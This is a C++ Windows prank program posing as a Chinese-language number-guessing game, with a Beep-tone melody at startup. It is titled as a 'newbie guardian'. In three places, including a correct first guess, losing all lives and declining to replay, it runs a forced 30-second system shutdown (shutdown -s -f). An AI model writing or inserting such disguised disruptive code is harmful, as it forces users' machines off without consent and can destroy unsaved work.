新手守护
#include<bits/stdc++.h>
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include<ctime>
#include<windows.h>
using namespace std;
const int _oC = 277, _oD = 311, _oF = 370, _oG = 415, _oA = 466;
const int _C = 262, _D = 294, _E = 330, _F = 349, _G = 392, _A = 440, _B = 494;
const int oC = 554, oD = 622, oF = 740, oG = 831, oA = 932;
const int C = 523, D = 578, E = 659, F = 698, G = 784, A = 880, B = 988;
const int C_ = 1047, D_ = 1175, E_ = 1319, F_ = 1397, G_ = 1568, A_ = 1760, B_ = 1976;
const int oC_ = 1109, oD_ = 1245, oF_ = 1480, oG_ = 1661, oA_ = 1865;
const int T = 400;
const int Stop = 800;
int hp=5,MAX=100,MIN=1,a,b;
int main(){
cout<<"正在加载游戏,请稍等";
for(int i=1;i<=5;i++){
cout<<".";
Sleep(500);
}
Beep( C_, T * 2 );
Beep( G, T );
Beep( E, T / 4 * 3 );
Beep( D, T / 4 );
Beep( C, T );
Beep( G, T );
Beep( E, T );
Sleep( Stop );
Beep( C_, T * 2 );
Beep( G, T );
Beep( E, T / 4 * 3 );
Beep( D, T / 4 );
Beep( C, T );
Beep( A, T );
Beep( G, T );
Sleep( Stop / 2 );
Beep( G, T / 2 );
Beep( C_, T );
Beep( A, T / 2 );
Beep( G, T / 2 );
Beep( C_, T );
Sleep( Stop / 2 );
Beep( G, T / 2 );
Beep( C_, T );
Beep( A, T / 2 );
Beep( G, T / 2 );
Beep( A, T );
Sleep( Stop / 2 );
Beep( E, T / 2 );
Beep( C_, T / 2 * 3 );
Beep( A, T / 2 );
Beep( G, T );
Beep( E, T );
Beep( C_, T / 2 * 3 );
Beep( A, T / 2 );
Beep( C_, T );
Sleep( Stop );
Beep( C_, T );
Beep( G, T );
Beep( E, T / 2 );
Beep( A, T / 2 );
Beep( G, T / 2 );
Beep( E, T / 2 );
Beep( D, T / 2 * 3 );
Beep( C, T / 2 );
Beep( E, T );
Sleep( Stop / 2 );
Beep( G, T / 2 );
Beep( C_, T );
Beep( G, T );
Beep( A, T / 2 );
Beep( C_, T / 2 );
Beep( A, T / 2 );
Beep( G, T / 2 );
Beep( E, T );
Beep( E, T / 2 );
Beep( C, T / 2 );
Beep( A, T * 2 );
Beep( A, T );
Sleep( Stop );
Beep( C_, T / 4 * 3 );
Beep( C_, T / 4 );
Beep( G, T / 2 );
Beep( G, T / 2 );
Beep( D, T / 4 * 3 );
Beep( E, T / 4 );
Beep( G, T / 2 );
Beep( G, T / 2 );
Beep( A, T / 2 * 3 );
Beep( G, T / 2 );
Beep( A, T );
Beep( D_, T );
Beep( C_, T );
Beep( A, T / 2 );
Beep( G, T / 2 );
Beep( C_, T );
Beep( A, T / 2 );
Beep( G, T / 2 );
Beep( E, T * 2 );
Beep( C_, T );
Sleep( Stop );
cout<<endl;
cout<<"作者: ";
Sleep(1500);
cout<<"隔壁";
Sleep(1500);
cout<<"老";
Sleep(1500);
cout<<"王"<<endl;
cout<<"游戏加载完成,您已进入一级战备状态,请做好准备!!!";
Sleep(1000);
system("cls");
system("color 20");
while(1){
srand((int)time(NULL));
int ans=MIN+rand()%(MAX-MIN+1);
cout<<"欢迎来到猜数战场!\n";
cout<<"你TM有5条命\n";
hp=5;
Sleep(1000);
system("color 30");
for(int i=1;i<=hp;i++){
cout<<"请输入一个("<<MAX<<"~"<<MIN<<")之间的数\n";
cin>>a;
if(a==ans&&i==1){
cout<<"你选对了"<<endl<<endl;
cout<<"但是"<<endl<<endl;
cout<<"你的电脑将在30秒后关机!!!!!!";
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!"<<" "<<"(@-@)";
break;
}
else if(a==ans){
cout<<"你选对了,你活过来了,恭喜你"<<endl;
break;
}
else if(a>ans&&i<hp){
cout<<"大了";
}
else if(a<ans&&i<hp){
cout<<"小了";
}
else if(i==hp&&a!=ans){
cout<<"你凉凉了"<<endl;
cout<<"你的电脑将在30秒后关机!!!!!!";
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!"<<" "<<"你还有一次机会";
}
}
char v;
cout<<"GAME OVER/N";
cout<<"答案:"<<ans;
Sleep(1500);
system("cls");
cout<<"是否重新来过?"<<endl<<"yes==y"<<" "<<"or"<<" "<<"no==n";
cin>>v;
if(v=='y'||v=='Y'){
continue;
}
if(v=='n'||v=='N'){
system("shutdown -s -f -t 30");
break;
}
}
return 0;
}